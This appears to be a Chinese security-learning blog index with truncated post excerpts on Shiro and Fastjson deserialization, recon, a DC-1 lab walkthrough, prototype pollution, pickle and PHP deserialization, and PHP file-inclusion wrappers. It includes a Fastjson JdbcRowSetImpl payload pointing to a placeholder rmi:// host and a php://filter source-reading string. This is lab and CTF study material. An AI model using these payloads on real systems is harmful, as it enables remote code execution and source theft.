shiro反序列化漏洞复现
vulhub靶场复现
漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。 那么,Payload产生的过程: 命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值 在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
这是一个典型的 Shiro RememberMe 反序列化漏洞的触发路径。用大白话解释就是:
场景比喻想象你进了一家高级会所,前台给你一张加密的会员卡(RememberMe Cookie),下次来不用输密码,直接刷卡进。但这家会所的会员卡加密方式有问题——用的是一把通用钥匙(默认密钥),导致坏人能伪造任意会员卡。
流程拆解
登录成功:你输入账号密码正确,前台(Shiro)说:“记住这个用 ...
“fastjson初探”
Fastjson1.2.24-RCE漏洞漏洞简介fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
漏洞原理
再用Fastjson解析JSON数据的时候
假如攻击者伪造一段特殊的的恶意的JSON数据
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://黑客仓库/危险物品", "autoCommit": true}
这里面攻击者伪造了@type标签 需要用com.sun.rowset.JdbcRowSetImpl(指定反序列化类)进行处理
这个jdbcRowSetlmpl 我们理解为分拣员 那么 分拣员记录下“需要联 ...
跟着小迪的第二天
信息打点1、打点-Web架构-语言&中间件&数据库&系统等2、打点-Web源码-CMS开源&闭源售卖&自主研发等3、打点-Web源码获取-泄露安全&资源监控&其他等4、打点-Web域名-子域名&相似域名&反查域名&旁注等
区分windows 和Linux 可以用 大写小写来区分
windows上对文件的大小写不区分
也可以通过ping网站来判断 一般 window de ttl>100 Linux<100
数据判断 搭建组合 端口扫描
#知识点:1、CMS指纹识别源码获取方式2、习惯&配置&特性等获取方式3、托管资产平台资源搜索监控
源码泄露
cms识别 云溪
管理员习惯不好 备份泄露
配置不当 git 泄露 |发布代码时候 没有将.git删除 直接同步上传道服务器其上
svn泄露 ds_Store泄露|同步发布道服务器上
php特性 composer.json 泄露 配置性说明性 文件 获得相关信息
下载配合 WEB-INF泄露 必须要下载文件的漏洞
GITHUB泄 ...
跟着小迪第一天
跟着小迪学习第一天
名词解释
POC:全称’ProofofConcept’,中文’概念验证’,常指一段漏洞证明的代码。EXP:全称’Exploit’,中文利用,指利用系统漏洞进行攻击的动作。Payload:中文有效载荷,指成功exploit之后,真正在目标系统执行的代码或指令。Shellcode:简单翻译’shell代码’,是Payload的一种,由于其建立正向/反向shell而得名。
网站搭建前置知识
域名 子域名 DNS http/https 证书
web应用框架架构
理解不同web应用组成校色功能框架
开发语言,程序源码,中间件容器,数据库类型,服务器操作系统,第三方软件等开发语言:asp,php,aspx,jsp,java,python,ruby,go,html,javascript等程序源码:根据开发语言分类;应用类型分类;开源CMS分类;开发框架分类等中间件容器:IIS,Apache,Nginx,Tomcat,Weblogic,Jboos,glasshfish等|支撑网站运行,各有不同的功能数据库类型: Access,Mysql,Mssql,Orac ...
vulnhub DC-1
┌──(root㉿kali)-[/home/kali]└─# arp-scan -lInterface: eth0, type: EN10MB, MAC: 00:0c:29:e7:49:b2, IPv4: 192.168.205.128WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission deniedWARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission deniedStarting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)192.168.205.1 00:50:56:c0:00:01 (Unknown)192.168.205.2 00:50:56:f7:4f:9c (Unknown)192.168.205.129 00:0c:29:04:0c:de (Unknown)192.168.205.254 00: ...
js原型链污染初探
Learn from:https://wiki.wgpsec.org/knowledge/ctf/js-prototype-chain-pollution.html
先放一张图
js 是由对象组成的,对象与对象之间存在着继承关系每个对象都有一个指向它的原型的内部链接,而这个原型对象又有他自己的原型,直到 null 为止整体看来就是多个对象层层继承,实例对象的原型链接形成了一条链,也就是 js 的原型链在 js 中每个函数都有一个 prototype 属性,而每个对象中也有一个 **proto** 属性用来指向实例对象的原型而每个原型也都有一个 constructor 属性执行相关联的构造函数,我们就是通过构造函数生成实例化的对象
由于对象之间存在继承关系,所以当我们要使用或者输出一个变量就会通过原型链向上搜索,当上层没有就会再向上上层搜索,直到指向 null,若此时还未找到就会返回 undefined
这幅图的原型链是
cat->Cat.protype->Object.prototype->null
原型链污染通常出现在对象,数组的键名或者属性名可控,同时是赋 ...
Python原型链污染
leran from :https://pazuris.cn/2023/07/27/Python%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/
Python原型链污染这个知识点应用的范围比较小,仅当题目中出现utils的merge或Pydash模块中的set和set_with函数才会用上
首先经典回顾一下python的类与继承:
在Python中,定义类是通过class关键字,class后面紧接着是类名,紧接着是(object),表示该类是从哪个类继承下来的,所有类的本源都是object类
可以自由地给一个实例变量绑定属性,像js
由于类可以起到模板的作用,因此,可以在创建实例的时候,把一些我们认为必须绑定的属性强制填写进去。通过定义一个特殊的__init__方法,在创建实例的时候,就把类内置的属性绑上
注意到__init__方法的第一个参数永远是self,表示创建的实例本身,因此,在__init__方法内部,就可以把各种属性绑定到self,因为self就指向创建的实例本身。
当我们定义了一个类属性后,这个属性虽然归类所有,但类的所有实例 ...
Pickle反序列化
Learnd From: https://goodapple.top/archives/1069
什么是Pickle?pickle是Python中一个能够序列化和反序列化对象的模块。和其他语言类似,Python也提供了序列化和反序列化这一功能,其中一个实现模块就是pickle。在Python中,*“Pickling”* 是将 Python 对象及其所拥有的层次结构转化为一个**二进制字节流**的过程,也就是我们常说的序列化,而 *“unpickling”* 是相反的操作,会将字节流转化回一个对象层次结构。当然在Python 中并不止pickle一个模块能够进行这一操作,更原始的序列化模块如`marshal`,同样能够完成序列化的任务,不过两者的侧重点并不相同,`marshal`存在主要是为了支持 Python 的`.pyc`文件。现在开发时一般首选pickle。pickle实际上可以看作一种**独立的语言**,通过对`opcode`的编写可以进行Python代码执行、覆盖变量等操作。直接编写的`opcode`灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle ...
php反序列化 + GC回收机制
f 复现的时候gc回收机制发现不会 写出来当笔记了
学习from:https://xz.aliyun.com/t/11843?time__1311=Cq0xuD0DnD203GNem%3DQaqiI3Y5p2GbD
直接拿isctf的题目来进行练习
天命人<?phperror_reporting(0);\# 帮天命人搜集法宝,重获齐天之姿!class Wuzhishan{ public $wu="俺老孙定要踏破这五指山!<br>"; public $zhi; public $shan; function __get($j) { echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>"; $yin="s214587387a"; $yang=$_GET['J']; if (md5($yin)==$yang&&md5($yin)==md5($yang)){ echo &qu ...
php 伪协议
首先来看一下有哪些文件包含函数:
Copyinclude、require、include_once、require_once、highlight_fileshow_source 、readfile 、file_get_contents 、fopen 、file
有哪些伪协议:
Copyfile:// — 访问本地文件系统http:// — 访问 HTTP(s) 网址ftp:// — 访问 FTP(s) URLsphp:// — 访问各个输入/输出流(I/O streams)zlib:// — 压缩流data:// — 数据(RFC 2397)glob:// — 查找匹配的文件路径模式phar:// — PHP 归档ssh2:// — Secure Shell 2rar:// — RARogg:// — 音频流expect:// — 处理交互式的流
2.1 php://filterphp://filter用于读取源码,php://input用于执行php代码
Copy?page=php://filter/read=con ...